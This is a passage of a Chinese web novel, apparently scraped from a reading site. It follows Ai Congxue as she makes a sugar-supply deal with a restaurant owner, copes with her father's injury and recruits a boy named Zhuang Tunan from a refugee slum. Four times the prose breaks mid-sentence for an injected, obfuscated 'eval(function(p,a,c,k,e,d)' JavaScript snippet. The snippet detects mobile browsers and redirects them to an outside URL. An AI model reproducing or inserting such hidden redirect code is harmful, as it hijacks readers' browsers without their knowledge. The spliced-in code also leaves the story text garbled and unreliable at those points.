艾升荣则是在一旁扶着梯子蓄势待发，就等着林晚一声令下，马上就能上房揭瓦。 “好了。”林晚话音刚落，艾从雪立马把制好的灰浆用木铲铲入竹筐里。 “诶，阿爹你小心一点，别摔了。”艾从雪扶着梯子担心道。 林晚则在一旁给他递工具，“夫君记得砌高一点！” 艾升荣根本不敢看下面，攥紧梯子的指尖发白，喉结滚动咽下一口唾沫，眼睛紧紧盯着自家的烟囱，伸手接过工具就开始干活。 艾从雪见状低声询问林晚：“阿爹是怕高吗？” 林晚连忙捂住她的嘴，“可别乱说啊，你阿爹以为自己瞒得很好呢，实际上一看就能看出来，他就是爱逞强，不让他干偏偏还抢着干。” 艾升荣丝毫不知道自己妻女在下面议论他，提心吊胆地砌着烟囱。 艾升荣正颤巍巍砌砖，忽有瓦片当啷落地。 “哪来的野猫！” “夫君，好了吗？”林晚怕艾升荣听不见，大声喊着。 “快了。”艾升荣含含糊糊地吐出几个字。 太阳已经完全落山，艾家刚砌好的烟囱已经开始飘出炊烟。 艾从雪从柜子里拿出个大陶碗，调制好面糊之后，把处理好的鲤鱼进行全身按摩涂抹面糊，放入已经热好的油锅中煎炸。 “雪儿，糖醋汁！”林晚见鲤鱼炸的差不多把调好的糖醋汁递到艾从雪手边。 只见艾从雪从锅里捞出炸得金黄酥脆的鱼放到盘子里。 把炸鱼的油倒油桶里，农家吃油少，如今炸鱼已经是奢侈，若是直接倒掉那真是暴殄天物。 随后拿起那碗糖醋汁倒入锅中熬煮。不多时，浓郁的汤汁就已经煮好，酸甜的气息弥漫整个灶屋，料汁倒在炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280364|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的鲤鱼上面。 金红交错的琥珀色糖衣裹着鱼肉，焦糖香完全盖住了鱼本身的腥味，艾从雪还在上面撒了些葱丝蒜末，让人食欲大增。 一直在烧火的艾升荣看见做好的鱼，俯身想要多吸几下饭菜的香味，“雪儿，你这做法倒是少见，闻着都是甜味。” “这叫糖醋鲤鱼！快快端到屋内尝尝吧，凉了就变味了。” 艾升荣一听这话，连忙端着鱼就往屋内走。 “来，阿娘，你先尝一口。”艾从雪夹了一块裹满汤汁的鱼肉，喂给林晚。 “雪儿你可不要偏心！”艾升荣见状抗议道。 吃下鱼肉的林晚脸色却有一瞬间的不对，张口道，“雪儿做的这鱼当真是好吃。” 刚被艾从雪喂了一块子鱼肉的艾升荣眼皮一跳，说出的话确是和林晚差不多，“哈哈，确实好吃。” “雪儿，你就不要吃了，让阿爹阿娘好好尝尝你这手艺。” 本想着夹一块的艾从雪听见这话停下了筷子，看着父母品尝自己的手艺，心里开心得不得了，看来自己厨艺有很大进步嘛。 林晚和艾升荣二人，不动声色地喝了一壶水。 无他，这鱼可能大概好像应该是多了那么一丝丝咸味。 “雪儿，我和你阿爹先回屋了。”林晚吃完鱼后拉着艾升荣就要逃离案发现场。 艾从雪有些狐疑地点点头，道：“那阿爹阿娘快些休息吧，明天还要制糖呢。” 夜幕降临，月亮高挂枝头，照得院子里像打了灯一样。 林晚躺在床上和艾升荣聊着，“夫君，你有没有感觉雪儿好像突然懂了很多东西。” “当年那道士不是说了吗，雪儿失的那一魂一魄去了另一方天地。”艾升荣翻了个身，提起当初的道士。 “或许咱雪儿去了仙界呢！不管怎么样，雪儿都是咱的孩子。” 被讨论的主人公现在正在院子里思考人生。 艾从雪一开始只是想着尝尝自己的厨艺怎么样，谁曾想只是用筷子蘸了蘸吃剩下的料汁，就已经被咸的不行。 她果然不是做饭的料。 可怜她从小记忆力超群，对于菜品步骤那是了如指掌、头头是道，但上手时就会出现各种各样的问题。 别人是六边形战士，只有她是指南针。因此她那早死师傅经常说她一身的技艺到艾从雪这就失传了。 就连她那糖艺金奖的获得方式也与众不同，别人靠创新糖画、甜品，只有她是靠单纯的糖块在一堆现代糖制成的东西之间脱颖而出。 “可怜我制糖那么好，竟然败在了厨艺上。”艾从雪看着皎洁的月光感慨道。 周围传来几声鸟叫，似乎是在应和她。 “哒哒哒哒——” “这声音怎么那么像机关枪？”艾从雪抬头看向天空，想要找到“机关枪”小鸟。 然而，没看到鸟就算了，连叫声也戛然而止。 “算了，回屋睡觉。” 皎洁月光下，她迈着步子回屋，月色将她的影子拉得老长，倏然与另一道黑影交叠。 艾从雪猛回头—— 屋檐处树梢微动，院中空无一人。 5. 姜撞奶 没察觉什么不对的艾从雪只当是自己看错，回屋美美睡觉，第二天还要继续进城推销，可不能起晚。 这几天养成的生物钟让艾从雪准时在太阳刚露头的时候醒来，洗漱完，草草吃了点东西就告别艾父艾母。 迎着朝阳，她又踏上了进城的路。 穿过人来人往的早市，驻足在月来楼面前的艾从雪又犯了和上次一样的难。 昨天她顺利混进去，但当时的阵仗可让门口的小厮记住她了。 以至于说艾从雪站在月来楼的门口的这一会儿，那人都不知道偷偷看了多少眼她的动向。 这月来楼对于无权无势之人当真是苛刻，艾从雪在街道上踱步，祈求能来个人带她进去。 没有人听到她的祈求，反倒是一红衣男子当街纵马险些撞到她。 “都让开！”红衣少年骑着马在街上横冲直撞，似乎是要进月来楼，到这门口时勒马长嘶，马鞭在空中甩出脆响。 骏马枣红色的鬃毛扫到艾从雪，惊得她踉跄跌坐在台阶上。 艾从雪吓得抱紧装糖的包袱，“你这人怎么骑马不看路啊？” 红衣男子翻身下马，看都不看她，艾从雪刚想理论，却瞥见男子腰间成王府的令牌。 男子身后的随从见状掏出一袋碎银，递给艾从雪，道：“姑娘见谅。” 她眼见这一行人要进酒楼，接过碎银迅速收进口袋，眼睛一转就跟了上去：“民女不要钱财。” 男子理都不理她，随从道：“姑娘莫非是嫌这些钱不够。” 艾从雪蹙眉哽咽道：“民女有要事相求……” 红衣男子听见这话，才舍得施舍给艾从雪一个眼神，“不要钱你要什么？” 她对着二人行了一礼，做出一副柔弱的样子道：“民女是来这月来楼寻人，却碍于身份无法进去……” 红衣男子看着她，似乎是来了兴趣 艾从雪继续说出早就编好理由，语气哀戚道：“民女先去结识一官人，可是他竟然……” 说着用袖子擦了擦眼角，却已经是泣不成声。 一旁的随从道：“世子爷，这小娘子也是可怜。” 李鸣铮眉头紧皱，声音带着少年人的肆意，“我用你说？” 李鸣铮带着艾从雪进酒楼坐下，“你认识那人叫什么名字，我替你教训他。” 艾从雪暗道不好，她可不认识什么官人，又见面前这世子爷对这事颇为在意。 满面愁容道：“民女不敢说，那人是个大官……” “京中什么大官我不认识！你不用怕，我替你教训他！”李鸣铮虽纨绔，但因他长姐一事，最是看不惯负心郎。 眼看李鸣铮非要问出个头绪来，艾从雪不说是不行了，“是……是玄大人，公子不用帮民女，民女只是想问出个结果。” 艾从雪安慰自己，就当是被他冤枉的补偿。 “玄序？朝中姓玄的也只有他。”，李鸣铮实在是没想到他这铁人竟是金絮其外败絮其中。 艾从雪含糊道，“民女的事民女去解决就好，不劳烦公子了。” 李鸣铮见艾从雪一直推辞，加上他确实不敢收拾玄序，对旁边的随从道：“再给她点钱。” 艾从雪听见这话心中那是乐开了花，语气满是惶恐与感激。 “公子品节高尚，乃当世君子，您对民女的恩情，民女此生难忘，来世愿结草衔环以报恩德。” 李鸣铮在家时事事被父亲批评，谁不说他一句纨绔，这一夸真是说到他心坎里了。 随从把碎银交到艾从雪手上，提醒李鸣铮：“世子爷，别耽误了正事。” 艾从雪倔强推开那银钱：“民女只求问个明白。” “拿着！小爷的钱烫手不成？”转身离去时李鸣铮又看了艾从雪一眼，不放心道：“要是玄序为难你，你报我李鸣铮的名字。” “民女多谢世子爷。”艾从雪俯身长拜。 待二人脚步声消失，她这才掏出那随从递给她的钱袋，加上差点撞到她的补偿，足足二十两银子，这世子真是大手笔。 嘴角笑意真切，二十两白银，还债进度已经将近走了一半，艾从雪虽讨厌这些有钱人对于她的不尊重，但被他们施舍大笔银钱的感觉还是不错的。 谁会和钱过不去呢？ 她掂量了掂量包袱里的赤糖，走到账台处，又是一副温婉的模样：“劳驾，你们这可缺赤糖？” 柜台前的小二听见这话，打量着她，轻蔑道：“你不是昨天那个被押走的吗？来我们这推销赤糖？” 艾从雪热脸上赶着贴冷屁股，面对小二毫不客气的话语，依旧是笑着道：“那是误会，我这赤糖都是顶顶好的。” 说着打开包袱给小二看。 小二看都不看就要赶艾从雪出去。 艾从雪面对这小二的态度，心中有气，却还是柔声道：“你们这的掌柜呢？他见到我这糖肯定会买的。” “掌柜？掌柜不会见你的，走走走！”小二不耐烦地把艾从雪赶出门。 这下好了，又回到最初的起点，艾从雪看着头上月来楼的牌匾，恨不得将它砸碎。 往月来楼推销看来是行不通了，只能去些普通酒楼，只是，这普通酒楼的利润定是比不上月来楼的了。 艾从雪在城中兜兜转转观察许久，终于停在一个位置稍偏的小酒楼前。 第三次进酒楼，全然没有前两次的拘谨，也不用面对之前那些人眼中或多或少的轻蔑。 一圆脸小二见她进门，迎上前来：“客人，打尖还是住店？” “先来壶茶。”艾从雪找了个位置坐下，观察着这里的布局。 虽说比不上月来楼的富丽堂皇，但也别有一番风趣，想来这里的老板定是用心经营的。 店小二端着东西放到桌面道：“您是新客，老板吩咐送一盘花生。” 艾从雪眉毛一挑，这老板挺会做生意啊，看来自己真是找对地方了。 仰头询问，“你们这儿的老板是何人？” “那就是我们老板。”店小二指了指坐在账台的女人。 那女子最出彩的地方就是一双丹凤眼，衬得整个人的精神极为出众。 先前艾从雪还以为是账房的帮工，没想到竟是酒楼的老板。 万柳注意到这边的情况，起身走来，步伐都带着干练。 “客人可是有事？”她声音尖细却不觉刺耳，反而带着某种亲和力。 “民女姓艾名从雪，老板怎么称呼？” “叫妾身万娘就好。” “万老板，你可有意扩张这酒楼？”艾从雪开门见山，打开包袱展示出了自己的糖，“这价钱与世面上赤糖的价钱无二。” “这……”万柳看着桌上均匀洁净的赤糖，“艾娘子不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280365|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妨跟我到楼上包间一叙。” 随着关门声一同响起的，是艾从雪的声音，“万老板可愿与民女做这个交易？” 万柳轻掰下一块赤糖，放进嘴里感受着这赤糖的甜度，“艾娘子这糖质量确实好，只是妾身这酒楼怕是吃不消。” “吃不消？” “艾娘子不知，这酒楼用到糖的地方不过是些茶点……”万柳一脸为难地说道。 “倘若我说，我手中有新糕点的方子呢？”艾从雪抛出自己的底牌，虽说她厨艺一塌糊涂，但是背一背甜点方子还是可以的。 “当真？”万柳苦酒楼经营停滞许久，若是有全新的菜品，或许能更上一层楼，“只是这糕点，可否做出来让妾身见见世面？” 一直胸有成竹的艾从雪听见这话有些坐不住了，她要是去做，再好的方子也能搞砸。 舍不得孩子套不着狼，艾从雪大手一挥直接要来纸笔把方子写下，这个方子容易且造价不高正适合现在的情况。 “此物名叫姜撞奶。” 万柳没想到艾从雪竟如此放心她，竟当着她面写下，沉声道： “艾娘子如此信任妾身，如若娘子的方子当真，待妾身叫手下的人制出成品后，必会答谢。” 艾从雪淡然一笑道：“万老板能在京城内以女子之身盘下一处酒楼，定不会是心胸狭隘之人。” 万柳下楼让后厨的人制作姜撞奶，艾从雪正好从这楼上欣赏欣赏京城的样子。 穿越这么多天，她已经逐渐适应这里的生活，只不过仅仅是适应，却是怎么都融入不了的。 先是那监察官不分青红皂白审问，再是那劳什子世子纵马险些撞到她。虽说都有惊无险，却是一丁点尊重都没感觉到。 当真是权势压人的封建时代，她不想被轻视，她也想翻手为云覆手为雨。 “咚咚咚。”万柳在门外敲门。 事已至此先挣钱吧！还有一屁股债没还。 艾从雪起身为万柳打开门。 “艾娘子，你这姜撞奶真真是不错。”刚打开门就听到万柳满是欣喜的声音。 “那万老板是否愿意让我艾家做酒楼赤糖供应商呢？”艾从雪微微前倾，笑吟吟道。 万柳豪爽一笑，“自是愿意的，我听雨楼每月耗糖约八十斤，不知艾娘子家中赤糖产量如何？” 艾从雪心下一惊，这一小酒楼耗糖都如此之多，以艾家的产量，约摸着一个月将将能八十斤。 “民女自己产糖自是足够的。” “既然如此，妾身给艾娘子二百文一斤的价格如何，算是感念艾娘子慷慨。” 市面上糖价不过一百六十文，万柳给出的价钱足足高了四十文，可见其诚意。 艾从雪眼尾微弯道：“自然是可以，下月初一，我来交货。” 如今艾家制糖再辛苦一些，应当是可以制八十斤。 除却成本，一月也能挣下个十五两，还债指日可待。 艾从雪收好票据赶在中午之前回到了家中，却在路上遇见了形色仓惶的林晚。 她离老远就开始招呼，林晚却仿佛是没看见一样，直到两人都要撞上了方才回过神。 “阿娘，怎么了？”艾从雪察觉林晚情况不对，关切地问道。 林晚这才注意到艾从雪，一直强撑的情绪在此刻决堤。 “你阿爹他出事了！” 6. 流民窟 “什么？”艾从雪双眼瞪大，生意谈成的欣喜在此刻粉碎。 林晚慌乱道：“榨甘蔗时摔了，我去叫大夫，雪儿你快回家。” “好好。”艾从雪嘴里飘出两个字，思绪早就混乱。 一路上大脑一片空白，只能强迫自己保持冷静。到家后她直冲屋内，喘着粗气扑向床边，却没看见艾升荣。 艾从雪的心此刻已经提到了嗓子眼，扭头就去往后院。 艾升荣蜷缩在地上，听见女儿的声音，艰难地睁开双眼，张了张嘴，说出的却只是因疼痛而产生的呻吟。 艾从雪见到艾升荣的样子更是手足无措，想到可能是骨折，又不能把艾升荣移到床上，只能祈祷林晚快点回来。 手突然感觉一热，艾从雪这才注意到艾升荣抓住了自己的手，似是在安慰她。 泪水彻底忍不住了，泪珠大滴大滴地砸在地上，宛若一根根刺扎进艾从雪的心。 重活一世，她不想艾升荣再次出事，上辈子父母出车祸而死，留下她孤零零一个人。 这辈子她不想再经历生离死别。 艾从雪想要安慰艾升荣，却好像被扼住喉咙，只能回握住对方的手。 “雪……儿……别哭。”艾升荣挤出几个字来。艾从雪听到后，立马擦了擦眼泪，却怎么也擦不完。 林晚步履匆匆带着大夫赶到，“李大夫，快救救我夫君。” 艾从雪坐着泣不成声，林晚抱住她，眼睛死死盯着艾升荣，生怕出什么噩耗。 李大夫在艾升荣腰部摸索一番后说道：“这是骨折之态。” 艾从雪此刻终于缓过神来，立刻答道：“钱不是问题，大夫一定要救救我阿爹。” 闻言李大夫拿出工具开始针灸，约摸着过了两刻钟，才抬头道：“令堂已无碍，等我开个方子，每日内服三次，外用两次，三月后定能恢复。” 林晚终于是松了口气，“那就好，那就好。” 艾升荣腰上夹着竹板，在妻女的搀扶下回到了床上，逞强道：“别看我现在不行，明天我可就能生龙活虎继续榨甘蔗了。” “阿爹，你好好休息，制糖的事有我和阿娘呢。” “就是，听雪儿的，雪儿现在可是咱家的顶梁柱了。”林晚附和道，毕竟自从艾从雪恢复神智，艾家的一切都是她在操心。 眼看家里就要走上正轨，又出这档子事，艾从雪再怎么神通广大此刻也有些无助，看来买劳工的计划必须提前。 “阿娘，你在家照顾阿爹，我去城里拿药，顺便去人牙子那看看。” 林晚面露难色，“雪儿，咱家剩下的钱，买药都不够，若是再买人……” “这是老板给的定金，咱家糖质量好，都抢着要呢。”怕林晚担心，艾从雪并没说实话。 她拿出李鸣铮给的钱，二十两银子，俨然成了救命钱。 林晚放下心来，有条不紊地说着：“好好好，雪儿快去吧，咱家制糖可不能停下，我去把剩下的甘蔗汁煮了。” 艾从雪到家后脚都没落地，又要进城。 走在乡间小路上，路边的树叶渐渐泛黄，湖面吹来的微风抚平了她的焦躁，，艾从雪打起精神，去了城西的人牙子那。 男人、女人、孩童被当成货物贩卖，眼睛里没有半点光芒，这场面多少让人于心不忍。 艾从雪瞟了一眼后没敢再看，这是个人命如草芥的时代，卖儿卖女都不少见，各个明码标价。 “娘子想要什么？咱这里什么人都有！”牙婆子见艾从雪进来，赶忙招呼道，生怕这单生意被别人抢走。 艾从雪顿了顿，想到家中生病的阿爹和债款，咽了口口水道：“买个力气大的。” “哎哟，娘子这可来对地方了。”牙婆子一拍手，本就尖嘴猴腮的脸经她一笑，显得有些怪异，“咱家就是这种货多。” 旋即让人从里屋拽出几个人，“来来来，这个是五两的，这个十两，这个二十两。” 又指着那个二十两的男人说道：“这个的力气大着呢！若不是闹饥荒，也不会来我这。” 二十两，艾从雪审视着这个人，皮肤黝黑，掌心全是老茧，确实如牙婆子所说，但自己手头只有二十两，买了这怕是不够买药。 其余人都瘦骨嶙峋，很难不怀疑是牙婆子故意的。就这样看了一圈，艾从雪还是没买到合心意的人。 便先去药房抓了药，五两银子下去，手头顿时不再宽裕。 走着走着，不知不觉间又到了听雨楼。艾从雪思索着，这万老板或许知道些便宜买人的地方。 谁曾想，刚一踏进酒楼，就见到了自己最不想看见的人。 上午万柳有新菜品后就马上上架，并让自己一直颇为照顾的弟弟过来品尝。 这下正好让艾从雪撞见了。 前台的万柳见艾从雪进来，上前迎接，“艾娘子再次前来可是有事？” 艾从雪摆摆手，恨不得转身就走，面上仍是一副风淡云轻的样子，“刚刚逛到这，想着向老板讨教一些事。” 那边埋头苦吃的玄序，在万柳说话时就已经抬起头，见对面是艾从雪眼中闪过一丝惊讶。 风卷残云般吃完剩下的东西后，起身走了过来。 艾从雪看见他过来，恨不得一拳将他打飞，脸上又挂起了招牌假笑，“真是巧了，玄大人怎的也在此。” “你们二人莫非认识？”一旁的万柳见艾从雪的话眼睛瞪大，满是惊喜，“刚刚我还和小序聊你呢，这个闷葫芦一句话都不说，没想到竟是早就认识。” 艾从雪视线在对面两人间来回转，似是在思考二人是何关系，毕竟任谁也想不到这狗官还能有熟人。 玄序解释道：“前日见过。” 万柳推了玄序一下，“见过你还不吱声。”转头对艾从雪道：“他从小就话少，艾娘子见谅。” “没想到万老板和玄大人那么熟悉。” 万柳感慨道：“我小时候逃难被阿爷收养，后来阿爷又捡到小序，现在我俩也算是没辜负阿爷的教导。” 这二人一个成老板一个成大官，当真是功成名就，只是没想到这玄序竟然是被收养的。 “我先走了。”玄序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280366|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对万柳说话倒是没有审问艾从雪时的凌厉。 “走什么走，我看你当上官后目中无人了啊，今天可是阿爷生日，再忙也得给我回去。” 玄序睫羽轻颤，低声道：“等我处理完案子，立刻赶过去。” “去吧去吧，别忘记给阿爷准备礼物。”万柳挥了挥手，提醒玄序。 万柳不好意思地说道：“小序身世可怜，若是有什么错处还请艾娘子见谅。 艾娘子方才要说的是何事？” 艾从雪稍作修饰说出此行的目的，若是直言，即使万柳再好心怕也是会估量一下艾从雪能不能再给酒楼带来利润。 万柳并未多想，“若说力工的话，都是去城西那买的。” “不瞒您说，方才就去那了，可是没挑出合眼缘的。” 万柳皱起眉头思量许久，开口道：“兴许可以去城外流民窟那看看，那有许多难民。” “城外流民窟吗？”艾从雪听说过这地，多是因为灾荒到这的，只是城里面不让他们进，只能是一群人挤在那一小片地方。 那里混乱无比，艾从雪孤身一人是不敢去那的。 万柳人爽快心善，见艾从雪迟疑，道：“我阿爷住在那旁边，当年我和小序就是被他从那里捡走收养的。 老人年纪大了不愿搬走，便一直在那住着，正好我要过去，便陪艾娘子走一遭，日后糖坊扩大可不要忘了妾身。” 艾从雪眸光一亮，抿嘴笑道：“那真是麻烦万老板了。” 待万柳交代好楼中事物，艾从雪便乘着她的马车来到了城外的流民窟。 马车只能停在外围，其余的路还需步行，二人从车上下来后，穿过小路走近流民窟。 混乱、肮脏、恶臭充斥着这里，所谓的房屋不过是几根木头搭起的棚子，不知道是什么东西的酸臭直冲大脑，让人恨不得直接呕出来。 来来往往的人缓慢地蠕动，像是没见过太阳的蚯蚓，眼中没有任何对于生活的希望。 艾从雪还没进去就能闻到刺鼻的臭味：“万老板，这里当真能有力工吗？” 万柳对此已经司空见惯，“这里的人为了钱什么都干，不过我们还是不要进去为好。” 这里鱼龙混杂，两个女子进去怕是要被扒掉半层皮。 万柳拦住一个孩童，递给他一颗糖：“帮我找几个能干体力活的人过来。” 那孩童接过钱就如一条泥鳅钻入人群之中，孩童没有穿鞋，光着脚踩在已经发黑的地上行走。 艾从雪看着这一切，她的眉毛自从来到这就没松开过。 活了两辈子，她都没有见过这种情形，先前以为牙婆子那的人已经够惨，谁曾想这里的人更是活得猪狗不如。 相比之下，艾家已经算得上是好家庭，即使背了一屁股债，瘦死的骆驼仍旧比马大，起码户籍清白，有房子还能吃饱饭。 一个农妇从蚯蚓堆里走出，形销骨立，面色蜡黄，手里还抱着个孩子，那孩子看着已没气息。 农妇愣愣地走着，艾从雪于心不忍，刚想掏出点钱给她，却被万柳拦下。 7. 图南 万柳挡住艾从雪要掏钱的手，微微摇头。 几个衣着破烂面相凶狠的男人死死盯着这两个与这里的破败格格不入的人，似乎只要有什么异动就要将她们吞噬。 艾从雪歇了善心，张了张嘴却又说不出话来，深呼一口气，抬眸看着面前的世界。 人吃人的地方。 万柳看艾从雪情绪不对，带她来到个稍微安全点的地方，拍了拍她的肩膀，“你没经历过，不知道这地方什么情况很正常。 我还好，刚逃难到这就遇见阿爷，小序那孩子，可是在这摸爬滚打了好些年，真是受了不少苦。” 艾从雪对玄序的童年来了兴趣，认真听着万柳的讲述。 “你是不知道，当初阿爷把他领回来时也不过五六岁，比刚刚那小孩还小，刚到家时一直小心翼翼的，生怕做错一点事惹我和阿爷生气。 没妈疼的孩子就是这样，当真是可怜的紧。” 说着万柳抿起嘴，眼眶有些湿润。“若不是碰见阿爷，他怕是会像刚刚农妇怀里的孩子一样了。” 玄序小时候过得如此凄惨，和现在真是丝毫不相同。 阴暗潮湿的地下，蚯蚓终身劳作不见天日。 这样的地狱竟爬出一个太阳。 艾从雪又想起玄序那双眼睛，碧色的眸子里面没有半分杂质，即使对他还有怨气，艾从雪也不得不承认他的样子很符合她的审美。 只是这充满异族特点的容貌，小时候怕是会被欺负得很惨。 “玄大人的容貌，不是我朝人吧。”艾从雪好奇地问道。 万柳打开了话匣子，解释道：“他阿娘是胡族的舞姬，不知犯了什么事沦落到这个地方，一个人在这个地方把小序拉扯到三四岁就撒手人寰了。 那死小孩被人欺负了也不知道躲，我阿爷捡到他时就剩一口气了，还是我上山给他挖的药。” 贫民窟不知道哪户人家，烧起了野艾草，草药的辛辣撕开腐烂的空气。 艾从雪抬头望向那里，这味道与玄序衣襟上沾染的气息如出一辙。 “小序从小鼻子就灵，可喜欢这艾草味了”万柳顺着她的目光轻笑。 养心殿的香炉内飞出同样的味道，玄序垂眸看着这袅袅青烟，恍惚间看到了一女子的身影。 皇帝的声音夹杂着悔意从头顶传来：“都那么多年过去了，你还是不肯原谅朕吗？” 玄序弯腰拱手行礼，“臣不敢，陛下是天子，自是不曾有过错。” 说是认错，他的语气却无半分敬意。 “当年殿试时，我一见到你就知道你是……” “还望陛下不要再提那个名字。”玄序堵住了赵启还未出口的话。 “贡糖一案已经查清是宫中之人监守自盗，至于是谁想必陛下心中清楚，臣先行告退。” “朕当时真是无意如此，谁曾想……”赵启还要解释，玄序却早已退出殿内，留给他的只有一个孤寂的背影。 赵启烦躁地揉了揉眉头，他的动作带起一阵微风，香炉里的烟雾突然扭曲变形。 那缕烟化作流民窟中燃烧的野艾草。 “他从小就不喜欢说话，可愁坏我和阿爷了，这以后可怎么找媳妇，一脸凶相的，人家姑娘都要吓跑了。”万柳真是对这个便宜弟弟操碎了心。 艾从雪噗嗤一笑，万柳的话真是说到点上了，那玄序整天板着个脸，可不就是一脸凶相。 “万老板真是对玄大人操碎了心。” “没办法，长姐如母，如今小序翅膀硬了，都不让我管了，真是让我这个做姐姐的寒心。” 虽是这样说，万柳脸上并无半分寒心之态，反倒是颇为自豪，她这阿弟可是成了朝中的香饽饽。 说话的空档，刚刚那孩子已经带着几个人来到二人面前。 这孩子还挺认真，带来的几个人虽瘦削却不显死气，眼里还有着对生活的希望。 不像流民窟里的一些人，浑浑噩噩不知今夕何夕，干等着死亡到来。 万柳从上到下仔仔细细看了几遍，道：“我看这几个人都不错，艾娘子可以放心挑选了。” 艾从雪看着也是不错，主要是这些人比牙子那便宜，但艾家怕是住不下那么多人。 “你们都会些什么？” “我力气很大！”说这话的约莫是个十四五岁的少年，声音有些沙哑。 这么年轻，也不知道是怎么混进来的。艾从雪不太想要他，毕竟干的是体力活，多少对身体不好。 她把视线放到剩下的几个人身上，看着都挺老实，估摸着二十多岁。 “贵人，选我吧，我很能干的！”少年见艾从雪无意于他，急切地说着。 其余几个人狠狠瞪了他一眼，都不想让别人抢夺这次改变命运的机会。 这少年一直毛遂自荐，艾从雪也起了兴趣，“我这活不简单，你怎么证明你能干下来？” 那少年看了看四周，搬起地上沾着黑泥的石头，其他人见状上前道：“贵人，这人不行的，整日一个人待着，谁知道有什么毛病。” “就是，哥几个身体好得很，比这小子可好不少。” 还有一人要伸脚踢那少年。 万柳出声制止道：“诶，干什么你！” 那男子见被发现，并不觉自己有错，“这小子不行的。” 艾从雪见这情形，打量着少年和这几人，道：“你们觉得自己值多少钱？” “三百文。” “我二百。” “我个子高值五百！” 刚刚那少年却是没有开口，表情方才的自信截然相反，两只手在背后不安地绞动。 感受到艾从雪的目光后，眼神根本不敢看她，声若蚊蝇道：“一两。” 流民窟的人都是几百文，这少年狮子小开口也不过是一两银子。 即使这些流民都是些黑户，也不过是多了去官府跑一趟办奴籍的功夫。 现在想来那人牙子当真是黑心。 艾从雪眉梢微挑，“你说说，你凭什么值一两？” “就他？一两？” “真把自己当根葱了。” 万柳在一旁双手环胸，视线扫过那几人，满脸的不赞同。 “我什么都能干，我……我还会识字！” 这地方还能有人识字？倒是少见，要知道艾升荣林晚还是在发家之后才找先生学的。 这里的字与她上辈子学的一样，不然艾从雪怕也是目不识丁。 “你都认识些什么字？” 少年蹲下，以手为笔，在地上写了一行字—— 背负青天而莫之夭阏者，而后乃今将图南。① 即使纸笔草率，仍能看出少年的文字娟秀有力，想不到他竟有如此志向，倒是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280367|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可造之材。 “我叫图南，庄图南。”写完这行字的少年抬起头，黑白分明的眼睛看着艾从雪，里面是磅礴的野心。 艾从雪双眸微眯，眼底掠过一丝审视与认可，她想给这个与众不同的少年一个机会：“你可还有要收拾的东西？如若没有，今日就随我去家中。” 庄图南连忙跪谢，“多谢贵人，多谢贵人，贵人可否先让我回家一趟，我很快的。” 没被选中的几人互相对视，脚步挪动试图将几人围住。 万柳一直盯着这几人的动作，见形势不对，拉住艾从雪的手腕提醒。 艾从雪察觉万柳动作，不动声色道：“你先回去，待日落后在城门口等我。” 说完就拽着万柳转身快步离开，而那些人却紧紧跟在她们身后。 这里距马车还有一段距离，二人越走越快，恨不得马上飞起来。 路上枯干的落叶被踩得“沙沙”作响，混合着的乌鸦的叫声，显得颇为死寂。 艾从雪心里直发寒，不敢回头观察情况，只是一味的拉着万柳向前。 万柳心中一阵后悔，那么多年没来过这，她低估了这里的黑暗，毫无准备地过来，还害得艾从雪也落得这般境地。 眼下只能是拖时间，方才来时就已告诉车夫如若半个时辰后二人还未出去，立马报官。 她早该知道的，如今边境不太平，这流民窟的人定是更加疯狂，就应该多带几个人进来。 粗壮的喘气声如幽灵般在万柳背冒出，肩膀忽的一沉，混杂着汗液的手扣住她的肩膀。 艾从雪察觉身旁的人不再动作，强撑着扭头后瞧。 却见万柳眉头紧皱，眼底满是凝重，身子僵硬地保持一个姿势。 二人面面相觑，眼神交汇间带着一丝恐慌。 那几个男人歪歪扭扭站着，一双双眼睛窥视着她们，如鼠蛇般恶心。 艾从雪面上血色尽失，又逼迫自己冷静下来，“几位，可是有什么事？” 